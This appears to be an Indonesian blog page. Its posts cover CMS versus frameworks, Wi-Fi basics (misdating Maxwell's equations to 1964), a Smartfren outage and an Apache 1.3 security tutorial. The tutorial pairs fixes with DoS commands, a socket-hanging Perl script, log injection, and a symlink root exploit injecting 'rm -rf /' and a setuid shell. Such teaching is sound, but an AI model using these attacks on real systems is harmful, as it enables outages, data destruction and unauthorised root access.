Perbedaan CMS dengan Framework

    Sunday, March 31, 2013
    Membuat web memang tidak mudah. Ada banyak source yang terkait didalamnya, PHP mungkin menjadi salah satunya. Bahasa pemrograman ini memang dirancang untuk para pengembang web agar dapat menciptakan suatu halaman web yang bersifat dinamis. Sekilas tentang PHP, PHP pertama kali dibuat oleh Rasmus Lerdorf pada tahun 1995 dan terus dikembangkan hingga saat ini. Ada banyak sekali web termasuk CMS yang dibuat menggunakan bahasaPHP seperti WordPress dll.

    Sampai saat ini, masih banyak programmer PHP yang masih menggunakan metode konvensional, padahal di jaman sekarang, kebanyakan orang lebih memilih untuk menggunakan cara yang lebih praktis dalam mengerjakan tugasnya.

    Bagi anda yang termasuk dalam kategori orang yang belum menggunakan Framework saat coding PHP, CodeIgniter merupakan alternatif yang tepat untuk anda. Bagi anda yang sudah terbiasa bekerja menggunakan Framework, tentunya bukan hal yang sulit untuk mempelajari framework yang lain, tetapi jika anda adalah newbie dalam dunia framework PHP, CodeIgniter sangat memanjakan anda dalam menyelesaikan masalah coding anda.

    CodeIgniter merupakan Web Application framework dengan bahasa pemrograman PHP yang dikembangkan oleh EllisLab. Apa beda CMS dengan Framework? Jika CMS memungkinkan anda untuk membuat web dinamis, maka Framework pun bisa, tetapi dengan tingkatan yang lebih rumit, yaitu pemrograman. Dengan kata lain, anda dapat membuat sebuah CMS dengan framework, tetapi anda tidak dapat membuat framework dengan CMS.

    Pengertian CMS dan Framework serta kelebihan serta kekurangannya 

    1. CMS (Content Management System)

    Pengertian CMS (Content Management System) adalah Sebuah sistem yang memberikan kemudahan kepada para penggunanya dalam mengelola dan mengadakan perubahan isi sebuah website dinamis tanpa sebelumnya dibekali pengetahuan tentang hal-hal yang bersifat teknis. Dengan demikian secara harafiah pengertian cms adalah setiap orang, penulis maupun editor, setiap saat dapat menggunakannya secara leluasa untuk membuat,menghapus atau bahkan memperbaharui isi website tanpa campur tangan langsung dari pihak webmaster.

    Umumnya, sebuah CMS (Content Management System) terdiri dari dua elemen:
    Aplikasi manajemen isi (Content Management Application, [CMA])
    Aplikasi pengiriman isi (content delivery application [CDA]).

    Elemen CMA memperbolehkan si manajer isi -yang mungkin tidak memiliki pengetahuan mengenai HTML (HyperText Markup Language)-, untuk mengatur pembuatan, modifikasi, dan penghapusan isi dari suatu situs Web tanpa perlu memiliki keahlian sebagai seorang Webmaster. Elemen CDA menggunakan dan menghimpun informasi-informasi yang sebelumnya telah ditambah, dikurangi atau diubah oleh si empunya situs web untuk meng-update atau memperbaharui situs Web tersebut. Kemampuan atau fitur dari sebuah sistem CMS berbeda-beda, walaupun begitu, kebanyakan dari software ini memiliki fitur publikasi berbasis Web, manajemen format, kontrol revisi, pembuatan index, pencarian, dan pengarsipan. Wikipedia Indonesia.

    Karena CMS memisahkan antara isi dan desain, konsistensi tampilan dapat senantiasa dijaga dengan baik.Setiap bagian dari website dapat memiliki isi dan tampilan yang berbeda-beda, tanpa harus khawatir kehilangan identitas dari website secara keseluruhan. Oleh karena semua data disimpan dalam satu tempat,pemanfaatan kembali dari informasi yang ada untuk berbagai keperluan dapat dengan mudah dilakukan. CMS juga memberikan kefleksibelen dalam mengatur alur kerja atau ‘workflow’ dan hak akses, sehingga memperbesar kesempatan berpartisipasi dari pengguna dalam pengembangan website. Hal ini akan sangat menguntungkan bila website yang dikelola memiliki kompleksitas yang tinggi dan mengalami kemajuan yang cukup pesat.

    Manfaat CMS

    1. Manajemen data

    2. Mengatur siklus hidup website

    3. Mendukung web templating dan standarisasi

    4. Personalisasi website

    5. Sindikasi

    Pemanfaatan CMS

    CMS pada prinsipnya dapat dipergunakan untuk berbagai macam keperluan dan dalam berbagai kondisi, seperti untuk:

    1. Mengelola website pribadi.

    2. Mengelola website perusahaan/bisnis.

    3. Portal atau website komunitas.

    4. Galeri foto, dan lain sebagainya.

    5. Forum.

    6. Aplikasi E-Commerce.

    7. Dan lain-lain

    Dan juga Content Manajement System didefenisikan sebagai Sebuah System yang memberikan kemudahan kepada penggunanya dalam mengelola dan mengadakan perubahan isi sebuah website dinamis tanpa tanpa sebelumnya dibekali pengetahuan tentang hal – hal yang bersifat teknis dalam sebuah mendesign sebuah website. Contoh CMS diantaranya WordPress,Joomla, Mambo, Drupal dll.

    CMS (Content Management System) dapat membantu kita untuk membangun suatu website dengan harga yang relatif murah dan open source lagi. Menggunakan CMS memang mudah dalam jangka pendek. Sebuah CMS (Content Management System) terdiri dari dua elemen: Yang pertama aplikasi manajemen isi (Content Management Application, [CMA]) dan yang kedua aplikasi pengiriman isi (content delivery application [CDA]).

    Elemen CMA memperbolehkan admin yang mungkin tidak memiliki pengetahuan mengenai HTML (HyperText Markup Language), untuk mengatur pembuatan, modifikasi, dan penghapusan isi dari suatu situs Web tanpa perlu memiliki keahlian sebagai seorang Webmaster. Elemen CDA menggunakan dan menghimpun informasi-informasi yang sebelumnya telah ditambah, dikurangi atau diubah oleh sumbernya situs web untuk meng-update atau memperbaharui situs Web tersebut. Kemampuan atau fitur dari sebuah sistem CMS berbeda-beda, walaupun begitu, kebanyakan dari software ini memiliki fitur publikasi berbasis Web, manajemen format, kontrol revisi, pembuatan index, pencarian, dan pengarsipan.

    Pada saat ini banyak sekali pemanfaatan dari penggunaan cms, diantaranya adalah untuk membuat website perusahaan, bisnis, organisasi atau komunitas. Lalu juga dimanfaatkan untuk Portal, Galeri foto, Aplikasi E-Commerce, dan Mengelola website pribadi / blog serta masih banyak lagi yang bisa kita fungsikan pada penggunaan cms ini.

    Cara kerja WIFI atau jaringan wireless

    Thursday, March 28, 2013
    Bagaimana ya caranya agar sebuah computer dapat berhubungan dengan computer lainnya?? Dengan tidak memakai kabel ataupun bersentuhan langsung secara fisik. Jawabannya adalahWireless Network (Jaringan Wireless).
    Berikut ini adalah penjelasan mengenai bagaimana cara kerja Jaringan Wireless
    Di awal telah dijelaskan bahwa untuk menghubungkan sebuah computer yang satu dengan yang lain, maka diperlukan adanya Jaringan Wireless. Menurut sebuah buku yang bersangkutan, supaya komputer-komputer yang berada dalam wilayah Jaringan Wireless bisa sukses dalam mengirim dan menerima data, dari dan ke sesamanya, maka ada tiga komponen dibutuhkan, yaitu:

    Sinyal Radio (Radio Signal).
    Format Data (Data Format).
    Struktur Jaringan atau Network (Network Structure).Masing-masing dari ketiga komponen ini berdiri sendiri-sendiri dalam cara kerja dan fungsinya. Kita mengenal adanya 7 Model Lapisan OSI (Open System Connection), yaitu:

    Physical Layer (Lapisan Fisik)
    Data-Link Layer (Lapisan Keterkaitan Data)
    Network Layer (Lapisan Jaringan)
    Transport Layer (Lapisan Transport)
    Session Layer (Lapisan Sesi)
    Presentation Layer (Lapisan Presentasi)
    Application Layer (Lapisan Aplikasi)Masing-masing dari ketiga komponen yang telah disebutkan di atas berada dalam lapisan yang berbeda-beda. Mereka bekerja dan mengontrol lapisan yang berbeda. Sebagai contoh:

    Sinyal Radio (komponen pertama), bekerja pada physical layer, atau lapisan fisik. Lalu Format Data atau Data Format mengendalikan beberapa lapisan diatasnya. Dan struktur jaringan berfungsi sebagai alat untuk mengirim dan menerima sinyal radio.
    Lebih jelasnya, cara kerja wireless LAN dapat diumpakan seperti cara kerja modem dalam mengirim dan menerima data, ke dan dari internet. Saat akan mengirim data, peralatan-peralatanWireless tadi akan berfungsi sebagai alat yang mengubah data digital menjadi sinyal radio. Lalu saat menerima, peralatan tadi berfungsi sebagai alat yang mengubah sinyal radio menjadi data digital yang bisa dimengerti dan diproses oleh komputer.




    Bagaimana sinyal radio dapat diubah menjadi data digital?
    Prinsip dasar yang digunakan pada teknologi wireless ini sebenarnya diambil dari persamaan yang dibuat oleh James Clerk Maxwell di tahun 1964.

    Dalam persamaan itu, dengan gamblang dan jelas Maxwell berhasil menunjukkan fakta bahwa, setiap perubahan yang terjadi dalam medan magnet itu akan menciptakan medan-medan listrik. Dan sebaliknya, setiap perubahan yang terjadi dalam medan-medan listrik itu akan menciptaken medan-medan magnet.

    Lebih lanjut Maxwell menjelaskan, saat arus listrik (AC atau alternating current) bergerak melalui kabel atau sarana fisik (konduktor) lainnya, maka, beberapa bagian dari energinya akan terlepas ke ruang bebas di sekitarnya, lalu membentuk medan magnet atau alternating magnetic field.

    Kemudian, medan magnet yang tercipta dari energy yang terlepas itu akan menciptakan medan listrik di ruang bebas, yang kemudian akan menciptakan medan magnet lagi, lalu medan listrik lagi, medan magnet lagi, dan seterusnya, hingga arus listrik yang asli atau yang pertama terhenti (terputus, red).

    Bentuk energy yang tercipta dari perubahan-perubahan ini, disebut dengan radiasi elektromagnetik (electromagnetic radiation), atau biasa kita kenal sebagai gelombang radio. Itu artinya, radio dapat di definisikan sebagai radiasi dari energi elektromagnetik yang terlepas ke udara (ruang bebas).

    Alat yang menghasilkan gelombang radio itu biasa dinamakan TRANSMITTER. Lalu alat yang digunakan untuk mendeteksi dan menangkap gelombang radio yang ada udara itu, biasa dinamakan RECEIVER.

    Agar kedua alat ini (transmitter dan receiver) lebih fokus saat mengirim, membuat pola gelombang, mengarahkan, meningkatkan, dan menangkap sinyal radio, ke dan dari udara, maka dibantulah dengan alat lain, yaitu ANTENA.

    Berkat persamaan dari Maxwell, transmitter, receiver, serta antena, yang kemudian disatukan dalam semua peralatan wireless LAN itulah, maka komputer bisa berkomunikasi, mengirim dan menerima data melalui gelombang radio, atau biasa disebut dengan wireless netwok.

    Begitu banyak stasiun Radio dengan frequency yang berbeda-beda agar tidak saling bertabrakan, gelombang radio yang akan dikirimkan ke udara itu bisa diatur frequencynya. Yaitu dengan cara mengatur atau memodifikasi arus listrik yang berada pada peralatan pengirim dan penerima tadi (transmitter, receiver).

    Dan jarak yang menjadi pemisah antar frequency dinamakan SPECTRUM. Lalu, bagian terkecil dari spectrum disebut dengan BAND. Dan untuk mengukur jumlah perulangan dari satu gelombang ke gelombang yang terjadi dalam hitungan detik, digunakanlah satuan HERTZ (Hz).

    Hertz, diambil dari nama orang yang pertama kali melakukan percobaan mengirim dan menangkap gelombang radio, yaitu HEINRICH HERTZ. Satu hertz dihitung sebagai jarak antara satu gelombang ke gelombang berikutnya. Dan sinyal radio itu umumnya berada pada frequency ribuan, jutaan, atau milyaran hertz (KHz, MHz, GHz). Dengan mengatur frequency itulah maka sinyal radio bisa tidak saling bertabrakan

    Penyebab Sinyal Smartfren Bermasalah

    Tuesday, March 26, 2013
    Jakarta - Gangguan jaringan internet yang melanda Smartfren Telecom tentunya membuat para pelanggan berang. Namun jangan khawatir, operator CDMA ini sudah menimang-nimang kompensasi untuk meredam kekecewaan pelanggan.

    Menurut Djoko Tata Ibrahim, Deputi CEO Smartfren, soal ganti rugi sudah masuk dalam ancang-ancang Smartfren. Namun akan seperti apa realisasinya belum diputuskan alias baru sekadar wacana.

    "Kita lagi pikirkan (soal ganti rugi). Nanti kita bisa kasih kompensasi dengan melihat berapa kehilangan kesempatan pelanggan hari ini, nanti kita atur," ujar Tata Ibrahim kepada detikINET, Selasa (26/3/2013).

    Pun demikian, yang utama, Smartfren saat ini lebih memprioritaskan soal perbaikan jaringan. Dimana ditargetkan kapasitas jaringan akan pulih lebih dari 80% pada tengah malan nanti.

    "Untuk saat ini kapasitasnya masih 30%. Ini kita terus melakukan perbaikan. Kalau nanti malam lebih dari 80% jaringan yang diharapkan pulih," lanjut Tata Ibrahim.

    Smartfren sendiri melihat kejadian ini sebagai musibah yang sulit untuk dihindari. Sebab upaya back-upsejatinya sudah dilakukan, namun apa daya, dua 'ban serep' yang disiapkan pun ikut-ikutan dirundung masalah.

    "Kejadian ini musibah. Pertama (kabel kita) kena jangkar kapal, dan langkah redundant (untuk back-up, red) sebagai jalur kedua kena longsor. Lalu pakai teman kita lagi, pihak ketiga Matrix Submarine kena (putus) juga," kata Toto Ibrahim.

    "Jadi ini kondisinya dua ban serep kita kena semua," ia menandaskan.


    ( ash / rns )

    Kelemahan/Kekurangan Web Server Apache

    Sunday, October 14, 2012

    Steven Haryanto
    Apache kena worm? Bukan. Tapi selalu ada bahaya lain yang siap mengintai jika kita lengah. Steven menunjukkan “lubang-lubang” dan solusinya.
    Siapa yang bulan lalu tidak pernah mendengar tentang Code Red pastilah sedang hidup di dunia lain. Dan kini muncul pula Nimda. Anda-Anda para pengguna software webserver Apache boleh tertawa, karena pilihan Anda ini tidak rentan terhadap worm-worm tersebut. Anda, yang sebagian besar terdiri dari Linuxer dan pengikut BSD, mungkin hanya kesal karena ikut kebanjiran request string yang panjang-panjang, sehingga sebagian dari Anda harus me-rotate log lebih sering. Tapi jangan takabur, memakai Apache bukan berarti pasti lolos dari masalah, seperti yang akan kita bahas sesaat lagi.
    Artikel ini merupakan yang pertama dari seri Hack, di mana penulis akan mengajak pembaca untuk bermain-main dengan sebuah sistem, tentu dengan tujuan untuk mengenalnya lebih dalam. Kadang topik dan gaya bahasannya akan sedikit nakal, sesuai konotasi nama serinya, namun percayalah semua ini demi tujuan edukatif. Apa pun yang terjadi akibat penerapan dari apa yang tertulis di sini, baik langsung maupun tak langsung, bukanlah tanggung jawab penulis. Anda harus setuju dulu sebelum melanjutkan. Tekan Cancel dan pilih halaman lain jika tidak setuju.

    Risiko Layanan Publik

    Kalau Anda buka toko, maka Anda membuka diri pada risiko kemalingan, dirampok, kerusuhan. Semua tentu sudah beberapa kali mendengar, bahkan pernah melihat kejadian seperti ini. Begitu mendengar Glodok Anda langsung menangkap kan?
    Demikian juga dengan menyediakan layanan publik. Anda membuka saluran, port, lubang, untuk dunia luar. Anda menjajakan informasi. Anda mengizinkan semua orang untuk menggunakan, dan menyalahgunakan, layanan Anda.
    Software server memegang peranan yang kritis dalam menentukan tingkat keamanan sistem Anda. Beruntunglah pada dasarnya Apache adalah software webserver yang amat aman. Keandalannya telah ditantang dan diuji oleh tak terhitung banyaknya orang, karena Apache sebuah software open source. Bahkan sebetulnya sebagian besar dari yang diutarakan di sini nanti adalah serangan DOS (denial of service) atau eksploitasi miskonfigurasi, dua isu yang tidak spesifik untuk Apache melainkan terkait dengan hakiki sebuah layanan publik atau masalah pada manusia. Bolong-bolong Apache lain yang misalnya disebabkan oleh buffer overflow akibat formulasi panjang URI tertentu atau bug pada logika kode, umumnya telah banyak ditemukan dan dibetulkan. Ini bukan berarti Apache selalu kebal dengan worm. Barangkali saja belum ada orang yang cukup iseng membuat modul yang sebenarnya kuda trojan, untuk disebarluaskan terutama di platform serba biner seperti Windows misalnya—meski kemungkinan besar akan sulit untuk bisa seheboh Code Red + IIS karena software yang terakhir ini dikemas bersama OS-nya sendiri. Jika Apache hidup makmur terus, suatu saat ini bisa saja terjadi. Tinggal masalah waktu. What can go wrong, will go wrong.
    Versi Apache yang dibahas di sini adalah versi 1.x yang terbaru saat artikel ditulis, yaitu 1.3.20. Patch-patch yang disediakan penulis dibuat berdasarkan 1.3.14—versi yang dipakai penulis untuk sistem produksi—namun semua patch bisa dipakai untuk 1.3.20. Semua dicoba di Linux, jadi penulis tidak menjamin patch ini jalan di platform yang lain. Apache 2.0 tentu saja masih beta, belum dipakai secara luas, dan lagi belum terlalu penulis akrabi. Jadi tidak disinggung di sini.
    Semua software dan patch yang dibahas disediakan dalam CD majalah, atau dapat didownload sendiri. Daftar URL-nya di akhir artikel.
    Catatan: Tipe serangan remote berarti dilakukan lewat koneksi TCP/IP, dan tidak membutuhkan akses shell. Tentu saja tidak berarti harus di komputer yang berbeda. Sebaliknya, tipe serangan lokal membutuhkan akses lokal.

    Cara 1: Brute Attack

    Tipe serangan: remote, DOS.
    Program-program benchmark WWW, selain dipakai untuk mengukur kinerja sesaat sebuah webserver, tentu dapat juga dipakai untuk mengirim banyak request secara simultan ke host target, dengan tujuan untuk meninggikan load mesin tujuan sedemikian rupa sehingga respon bagi klien lain menjadi amat lambat atau bahkan terhenti. Biasanya efek yang lebih diinginkan si penyerang adalah RAM menjadi habis sehingga mesin tak henti-henti melakukan swap. Ketimbang hanya menghabiskan CPU, efek swapping seperti ini umumnya lebih lama pulihnya, atau tak akan pernah pulih hingga mesin direboot.
    Apache nampaknya tidak memiliki kemampuan mengatur load seperti IIS, sehingga akan terus mem-fork proses baru hingga nilai MaxClients tercapai atau hingga batas yang diizinkan oleh OS. Ini tentunya menguntungkan penyerang karena habisnya RAM akan lebih cepat tercapai.
    Untuk lebih efektif menghabiskan CPU, Anda perlu memilih request mana yang kira-kira intensif CPU. Target yang umum adalah fasilitas search di situs ybs. Atau skrip CGI atau PHP yang kira-kira memerlukan cukup banyak pemrosesan, seperti mengakses database, dsb. Untuk lebih efektif menghabiskan RAM, Anda perlu mengira-ngira request yang akan menyebabkan Apache meluncurkan program lain yang besar. Server Apache yang menggunakan mod_perl cukup rentan karena ukuran proses httpd yang besar.
    Banyak tool yang dapat dipakai untuk melakukan ini, antara lain ApacheBench (disertakan dalam distribusi Apache), http_load, httperf, atau berbagai tool komersial. Contoh berikut mengirimkan total 100000 request, paralel 200, ke sebuah host korban.
    $ /usr/sbin/ab –n 100000 –c 200 \
    http://korban.com/cgi-bin/search?q=kata+yang+cukup+umum
    Opsi-opsi lain ApacheBench bisa dilihat di manpage-nya.
    Tentu saja, lebih efektif melakukan serangan ini dari mesin yang sama atau jaringan lokal, karena waktu tunda karena latensi jaringan minimal. Jika mesin server yang diserang cukup bertenaga CPU besar, maka mungkin saja lebih lama waktu yang dihabiskan untuk mentransfer data dari program Anda dari/ke server. httperf memiliki opsi bagus untuk mengeset timeout. Kita dapat mengecilkan nilai ini agar sebelum server yang cepat itu memberi reply, kita sudah memutuskan koneksi karena timeout. Contoh:
    $ httperf --hog --server korban.com --port 80 \
    --uri /cgi-bin/search.cgi?q=bla+bla --rate 100 \
    --timeout 0.001 --http-version 1.0
    Pada contoh di atas, kita mengeset timeout ke nilai yang cukup kecil, 1 ms.

    Solusi 1

    Pada dasarnya serangan murni DOS seperti ini sulit diatasi, kecuali Anda melakukan tindakan identifikasi terhadap pelaku dan pemblokiran akses melalui firewall atau mekanisme kontrol akses Apache (Order, Allow from, Deny from).
    Hal yang paling penting, pastikan RAM mesin Anda cukup untuk perkiraan beban yang diharapkan. Lakukan dulu simulasi dengan tool-tool benchmark sebelum orang lain melakukannya. Jika RAM Anda ternyata kurang, kecilkan juga MaxClients agar jika Apache Anda sibuk dan proses induknya beranak-pinak, maka memori Anda tidak habis semua untuk anak-anak Apache ini.
    Terdapat juga satu modul Apache yang mungkin dapat membantu membatasi klien, yaitu mod_limitipconn. Modul ini mencatat IP klien-klien terakhir dan membatasi jumlah koneksi untuk tiap IP. Fungsionalitas seperti ini juga mudah dibuat jika Anda menguasai mod_perl atau mod_python misalnya.

    Cara 2: Menggantung Soket

    Tipe serangan: remote, DOS. Kadang disebut juga serangan tipe timeout.
    Apache dikenal memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi bawaan yang diberikan oleh Apache Software Foundation maupun di distro-distro Linux adalah MaxClientssebesar 150. Ini berarti, hanya 150 koneksi yang diizinkan ke sebuah server Apache, atau maksimal 150 klien. Jumlah klien dapat sedikit banyak kurang dari angka tersebut, karena sebuah browser bisa saja mengirimkan 4 request simultan dengan koneksi terpisah-pisah.
    Dibanding cara sebelumnya, cara menggantung soket ini lebih halus. Setelah konek, program benchmark kita hanya diam dan tidak melakukan apa-apa. Server Apache masih akan menunggu selama waktu yang ditentukan oleh direktif TimeOut (default 5 menit). Selama waktu tunda ini, soket TCP tetap “menggantung” dan tak dapat dipakai untuk klien lain. Jika kita mengirimkan request simultan cukup banyak, maka batasan klien maksimum Apache akan tercapai dan hasilnya, klien lain akan tertunda dan bila backlog TCP terlampaui, terjadi penolakan koneksi sehingga seolah-olah tampak server di seberang itu tewas.
    Berikut salah satu cara sederhana menggantung soket di server:
    perl -MIO::Socket -e'$|++;
    for(1..1300){
    $fh{$_}=new IO::Socket::INET
    PeerAddr=>"korban.com",
    PeerPort=>80,
    Proto=>"tcp"
    or die;print "$_\n"}
    '
    Lakukan dari beberapa login shell atau beberapa komputer untuk satu tujuan korban.com. Perhatikan apa yang terjadi. Selama Anda menggantung habis soket, klien lain akan sulit sekali mendapat respon dari Apache.

    Solusi 2

    Modul mod_limitipconn dapat dipakai pula di sini untuk membatasi IP penyerang membuat banyak koneksi sekaligus dengan server kita.
    Perbesar kapasitas jumlah soket yang dapat dibuka simultan oleh OS. Di Linux, ini dilakukan dengan mengeset nilai-nilai di /proc/sys/fs/{file-max,inode-max}. Lihat dokumentasiDocumentation/filesystems/proc.txt di source code Linux Anda untuk rinciannya. Nilai bawaan Linux memang cukup kecil. Anda sebaiknya memperbesar hingga 16k atau lebih.
    Selain itu, cara-cara berikut dapat memperbesar ketersediaan koneksi TCP di server Anda. Intinya adalah jangan membiarkan koneksi jangka panjang berlama-lama.
    Kecilkan nilai TimeOut. Menurut penulis lima menit memang kurang masuk akal bagi Apache. Kecilkan menjadi 1 menit saja. Situs supersibuk seperti Google misalnya, memiliki nilai timeout yang relatif rendah.
    Bila server Anda juga sibuk dan koneksi simultan pun tinggi, maka ada baiknya mematikan KeepAlive untuk memperbesar ketersediaan koneksi TCP. Menyalakan KeepAlive memang meningkatkan kecepatan respon bagi klien, tapi ini meningkatkan jumlah soket yang “tergantung”. Anda dapat melihat dengan jelas di halaman status Apache.
    Selain limit dari OS, limit dari Apache sendiri perlu ditingkatkan. Jumlah koneksi maksimum bawaan Apache 256. Ini dapat diperbesar tapi Anda perlu mengkompile ulang dan mengeset OS Anda agar mengizinkan sebuah proses beranak lebih dari jumlah tersebut. Demi mempersingkat artikel ini, penulis tidak akan membeberkan caranya secara rinci. Petunjuk: cari stringHARD_SERVER_LIMIT di httpd.h.
    Perkecil pula jumlah maksimum deskriptor file yang dapat diciptakan oleh user. Tambahkan baris ‘ulimit -n 32’ misalnya, di /etc/profile.
    Salah satu cara lain yang populer untuk memperbesar kapasitas jumlah koneksi Apache adalah dengan memasang proxy depan. Squid misalnya, dalam mode accelerator http. Karena Squid modelnya proses tunggal dan menggunakan select(2), maka kapasitas Squid lebih besar dari Apache. Jadi Apache dilindungi dari klien-klien penggantung atau lambat. Klien-klien ini akan menggantung di proses Squid, bukan Apache. Juga karena keterbatasan ruang, ini tidak dibahas lebih lanjut.

    Cara 3: Mengacaukan Statistik Web

    Tipe serangan: remote, perusakan data, eksploit input.
    Ada satu kelemahan Apache yang penulis rasakan, yaitu tidak memroses karakter kutip dalam string Referrer dan User-Agent yang dikirimkan oleh klien. Ini berarti klien dapat memformulasi inputnya secara hati-hati untuk merusak format baris log akses.
    Jenis serangan ini tidak betul-betul berbahaya atau bahkan mengganggu kerja Apache, namun cukup menyebalkan karena dapat mengacaukan rata-rata software statistik Web. Berikut ini format log Apache combined (semua dalam satu baris):
    11.11.11.11 - - [31/Aug/2001:02:01:56 +0700] "GET /index.shtml HTTP/1.1
    +" 200 12152 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
    Field-fieldnya, dipisahkan oleh spasi dan dapat dikutip, adalah sbb: host remote, remote logname (jika ada indentd), username (jika dikenai Basic Authentication), waktu request, baris pertama request, kode respon, jumlah byte di bodi respon (jika objek statik, sama dengan ukuran file yang dikirim), Referer, dan User-Agent. Definisinya bisa dilihat di baris LogFormat dihttpd.conf.
    Kutip ganda dalam baris request ternyata tidak di-filter atau di-escape. Maka kita dapat mengacaukan field-field berikutnya dengan memasukkan kutip ini. Terutama yang ingin kita isengi kali ini adalah jumlah byte di bodi respon.
    Cobalah konek ke server target dan lakukan hal berikut:
    $ telnet korban.com 80Trying 22.22.22.22...
    Connected to korban.com.
    Escape character is '^]'.
    GET / HTTP/1.0" 200 1000000000 "-
    Host: korban.com
    (tekan Enter sekali lagi)
    Apa yang akan muncul di baris log server?
    11.11.11.11 - - [31/Aug/2001:17:13:12 +0700] "GET / HTTP/1.0" 200 10000
    +00000 "-" 200 14173 "-" "-"
    Program-program statistik Web (termasuk Webalizer, WebTrends, dan Wusage yang telah penulis coba) mau bekerja dengan baris log ini dan menafsirkan jumlah byte respon di field ketujuh ciptaan kita dengan baik. Padahal sebetulnya jumlah byte respon tidak satu miliar byte, melainkan hanya sekitar 14k. Namun field asli telah tergeser ke field sepuluh. Ini berkat Apache yang meloloskan baris request nakal kita hingga ke file log.
    Akibat dari perbuatan ini dapat bermacam-macam. Si pemilik situs senang karena situsnya sekilas terlihat ramai dikunjungi, bingung, atau sedih karena didenda ekstra oleh webhosternya.
    Field kedua dan ketiga juga tidak dikutip dan bisa dimanipulasi. Silakan coba kombinasi request lain.
    Program statistik Web Webalizer juga ternyata tidak melakukan HTML-escaping pada field username, sehingga kita bisa menyuntikkan kode-kode Javascript untuk menyebabkan serangan potensial cross-site scripting. Jika sebuah halaman Web mengeluarkan kotak dialog password, cobalah masukkan kode Javascript di field username. Tentu saja ini bukan kesalahan Apache.

    Solusi 3

    Patch Apache dengan avoid_nasty_characters_in_access_log.patch, lalu kompile ulang. Misalkan Anda memiliki tarball apache_1.3.20.tar.gz. Lakukan hal berikut:
    $ tar xfz apache_1.3.20.tar.gz
    $ cd apache_1.3.20
    $ patch -p1 < \
    ../apache_1.3.14-avoid_nasty_characters_in_access_log.patch
    $ ./configure (masukkan opsi-opsi Anda)
    $ make all install
    Cara melakukan patch lainnya nanti sama seperti ini. Patch yang penulis buat ini akan mengubah semua kutip ganda (“) yang terdapat dalam baris request—dan field-field rawan lainnya—menjadi kutip tunggal(‘), sehingga tidak mengganggu pembatas antarfield. Ada pendekatan lain yang bisa dilakukan, misalnya menghilangkan kutipnya sama sekali, atau meng-escape-nya menjadi \”, namun cara pertama yang menurut penulis paling sederhana dan kompatibel dengan program-program pengolah log.

    Cara 4: Symlink Log

    Tipe serangan: lokal, perusakan data, eksploit root.
    Jika server Anda melayani banyak virtualhost milik user-user yang berbeda, umumnya tiap virtualhost diberi log akses dan log error sendiri. Misalnya ditaruh di/home/namauser/logs/access.log dan /home/namauser/logs/error.log. Jika Anda tidak berhati-hati, user dapat memanipulasi file log. Meskipun pemilik file log mungkin saja root, namun Anda perlu memperhatikan pemilik dari direktori /home/namauser/logs. Jika pemilik direktori logs/ adalah si user, maka user tetap dapat menghapus file-file log milik root tadi. Tidak percaya? Coba saja:
    # cd /home/penjahat
    # mkdir logs && chown penjahat.penjahat logs# cd logs# touch error.log
    Sekarang, sebagai user penjahat, lakukan:
    $ cd /home/penjahat/logs$ rm error.log
    Kok bisa begitu? Memang demikianlah sistem permission di Unix. Si pemilik direktori memang berhak menentukan file-file apa saja yang berada di dalamnya. Tentu saja si penjahat tidak boleh memodifikasi isi error.log, tapi menghapus atau mengganti namanya boleh.
    Nah, bagaimana bila si penjahat menghapus error.log semula, lalu membuatnya jadi symlink ke file lain? Ingat, proses induk Apache umumnya berjalan sebagai root karena harus menambatkan diri ke port 80. Dan penulisan log dilakukan oleh proses induk! Ini berarti, si penjahat jadi dapat melakukan append ke file manapun di filesystem. Merusak database MySQL (symlink ke file .MYD atau .MYI misalnya), file /etc/passwd, log milik user lain, dsb. Kita tinggal menunggu admin melakukan kill -HUP atau me-restart Apache, maka file-file yang menjadi tujuan symlink akan dikotori oleh log akses atau log error. Ngeri ya?
    Tadi ditulis bahwa serangan ini dapat menjadi eksploit root, bagaimana caranya? Pertama-tama, mari kita cari perintah standar di Unix yang merupakan skrip shell dan biasanya dijalankan oleh root. Syaratnya, skrip shell ini tidak boleh diakhiri dengan exec atau exit, agar jika kita menambahkan satu baris di akhir file, maka baris tersebut masih bisa dieksekusi. Penulis melihat sistem RedHat 6.2 dan mengamati file-file berikut memenuhi syarat:
    • /etc/rc.d/rc.local atau /etc/rc.d/rc.sysinit (akan dijalankan di awal boot sistem
    • /etc/cron.*/*
    • /usr/bin/groups
    • /bin/vimtutor, /usr/bin/autoconf, /usr/sbin/makewhatis, /usr/bin/zless, dst. (tidak selalu oleh root)
    Sekarang, symlink-lah access.log ke salah satu file di atas—misalnya /etc/rc.d/rc.local—, tunggu sampai Apache atau seluruh sistem direstart. Setelah itu, lakukan hal berikut:
    $ telnet localhost 80
    GET "; rm -rf /; # HTTP/1.0
    (tekan Enter sekali lagi)
    Hasilnya, sebuah baris akan ditambahkan ke /etc/rc.d/rc.local. Sekarang kita perlu menunggu sekali lagi sampai server direboot. Atau jika Anda tak sabar, lakukan DOS hingga sistem terpaksa direboot. Baris terakhir di rc.local pada gilirannya akan dieksekusi.
    127.0.0.1 - - [31/Aug/2001:17:13:12 +0700] "GET "; rm –rf /; # HTTP/1.0
    +" 200 14173 "-" "-"
    Di mata shell, baris di atas terdiri dari tiga perintah yang dibatasi oleh tanda titik-koma. Perintah pertama tentu saja tidak berarti apa-apa bagi shell, malah mengakibatkan kesalahan. Tapi perintah kedua, rm -rf /, tentu semua orang sudah kenal kan?
    Tentu saja menghapus seluruh filesystem kurang kreatif dan asyik, jadi perintah rm ini bisa kita ganti dengan perintah lain seperti (semua satu baris, sisipkan dalam request HTTP seperti yang sebelumnya):
    echo -e '#!/usr/bin/perl\n;undef %ENV;$<=$>;$(=$);exec qq(/bin/bash);'+ > /home/penjahat/.bash; chmod 4755 /home/penjahat/.bash
    Perintah di atas akan membuat sebuah skrip setuid root di /home/penjahat/.bash. Sim salabim, akses root.

    Solusi 4

    Sudah jelas: jangan biarkan user dapat memanipulasi file log. Agar aman, jangan taruh file log di bawah direktori home user, karena direktori home user sudah pasti pemiliknya adalah si user.
    Tidak ada ruginya menerapkan patch di Solusi 3, agar user tidak dapat seenaknya mengirimkan kutip penutup ke log akses.

    Cara 5: Bermain-Main dengan .htaccess

    Tipe serangan lokal, DOS, pencurian data.
    Jika Anda memiliki akses lokal dan diperbolehkan menulis .htaccess sendiri, ada berbagai hal menarik yang bisa dicoba. .htaccess merupakan perpanjangan dari httpd.conf, yaitu konfigurasi Apache di tiap tingkat direktori.
